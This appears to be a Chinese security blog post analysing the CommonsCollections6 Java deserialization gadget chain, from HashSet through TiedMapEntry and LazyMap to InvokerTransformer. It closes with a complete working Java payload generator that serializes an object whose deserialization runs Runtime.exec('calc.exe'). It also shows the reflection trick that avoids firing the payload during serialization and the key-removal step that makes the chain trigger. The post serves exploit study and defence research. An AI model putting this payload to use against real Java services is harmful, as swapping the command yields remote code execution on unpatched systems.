CommonsCollections6 反序列化链分析

2023-05-02 10:56:20 浏览数 (1)

CommonsCollections6 反序列化链分析

一、前言

CC6该条链用于解决在java高版本(java 8u71)中CC1无法利用进行替代的链,在java 8u71之后sun.reflect.annotation.AnnotationInvocationHandler#readObject的逻辑发生变化,导致cc1的链子在8u71之后无法使用。

二、利用链分析

1、ysoserial利用链

代码语言:javascript复制
Gadget chain:  
    java.io.ObjectInputStream.readObject()           
        java.util.HashSet.readObject()               
            java.util.HashMap.put()               
            java.util.HashMap.hash()      
                org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()    
                org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()      
                    org.apache.commons.collections.map.LazyMap.get()               
                        org.apache.commons.collections.functors.ChainedTransformer.transform()      
                        org.apache.commons.collections.functors.InvokerTransformer.transform()     
                        java.lang.reflect.Method.invoke()           
                            java.lang.Runtime.exec()  
   by @matthias_kaiser 

该链和CC1的区别就是在调用LazyMap处使用的org.apache.commons.collections.keyvalue.TiedMapEntry类,接下来需要做的就只是分析这一部分利用流程即可

2、TiedMapEntry类分析

TiedMapEntry中的hashCode()方法中调用了getValue()方法,在getValue()方法中有进行map.get()操作,到这里接下来的步骤就是找到一个能够调用TiedMapEntry#hashcode()方法的地方。

3、pyload构造过程思考

在按照如上想法构造payload的过程中碰到了一些问题

  • HashMap 和 HashSet 都可触发反序列化
  • 网上文章中都统一提到需要将LazyMap中的key置空才能正常执行流程,而在个人测试中并不需要这一步骤
  • 在构建payload的过程中序列化操作也会导致出现命令执行

接下来就是一步步解决这些问题

3.1 HashMap 和 HashSet 都可触发反序列化

关于这一点其实是非常简单的,提出这个问题是因为在网上的文章中payload构造分成了HashMap和HashSet两派 通过之前的链子学习,我们可以知道HashMap的readObject方法会调用hash方法

代码语言:javascript复制
private void readObject(ObjectInputStream s){
    ...
    putVal(hash(key), key, value, false, false);
}
static final int hash(Object key) {  
    int h;  
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);  
}

hash(key)最终会调用到key.hashCode()方法,所以只要讲这个key设置为TideMapEntry对象即可 那在HashSet中是否有和HashMap一样的操作呢,答案是有的

代码语言:javascript复制
// hashSet.add()
public boolean add(E e) {  
    return map.put(e, PRESENT)==null;  
}
public V put(K key, V value) {  
    return putVal(hash(key), key, value, false, true);  
}

在HashSet.add()中调用了map.put方法,该方法为HashMap中的方法,map.put进行的操作和上文说到的一样,hash(key)最终会调用到key.hashCode()方法,所以只要讲这个key设置为TideMapEntry对象即可

3.2 序列化操作出现命令执行

如果在一开始的时候就直接传入真实的transformers就会导致在writeObject时出现RCE,这一点解决的方法也很简单,在一开始构造的时候传入fakeTransformers,在hashSet.add方法执行完之后再通过反射将iTransformers的值修改为真正的payload

代码语言:javascript复制
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");  
field.setAccessible(true);  
field.set(chainedTransformer, transformers);
3.3 LazyMap中的key置空

这一步一开始因为3.2的问题搞得很迷惑,为什么不管进不进行删除操作都会能够成功触发,在修改完3.2的代码后断点跟入后即可发现问题的所在

LazyMap.get()方法中判断map是否存在key,如果存在的话就没法步入逻辑,导致无法调用transform方法

解决的办法也很简单

代码语言:javascript复制
TiedMapEntry key = new TiedMapEntry(decorate, "key");  
decorate.remove("key");

4、payload

代码语言:javascript复制
package org.example;  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.keyvalue.TiedMapEntry;  
import org.apache.commons.collections.map.LazyMap;  
import java.io.FileInputStream;  
import java.io.FileOutputStream;  
import java.io.ObjectInputStream;  
import java.io.ObjectOutputStream;  
import java.lang.reflect.Field;  
import java.util.HashMap;  
import java.util.HashSet;  
import java.util.Map;  
public class CC6 {  
    public static void main(String[] args) throws Exception {  
        Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};  
        Transformer[] transformers = new Transformer[]{  
                new ConstantTransformer(Runtime.class),  
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),  
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),  
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"}),  
                new ConstantTransformer(1),// 隐藏错误信息  
        };  
        ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);  
        Map hashMap = new HashMap();  
        Map decorate = LazyMap.decorate(hashMap, chainedTransformer);  
        TiedMapEntry key = new TiedMapEntry(decorate, "key");  
        HashSet hashSet = new HashSet(1);  
        hashSet.add(key);  
//        HashMap map = new HashMap();  
//        map.put(key, "value");  
        decorate.remove("key");  
        Field field = ChainedTransformer.class.getDeclaredField("iTransformers");  
        field.setAccessible(true);  
        field.set(chainedTransformer, transformers);  
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("./cc6.bin"));  
//        oos.writeObject(map);  
        oos.writeObject(hashSet);  
        oos.close();  
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("./cc6.bin"));  
        Object o = ois.readObject();  
        System.out.println(o);  
    }  
}

0 人点赞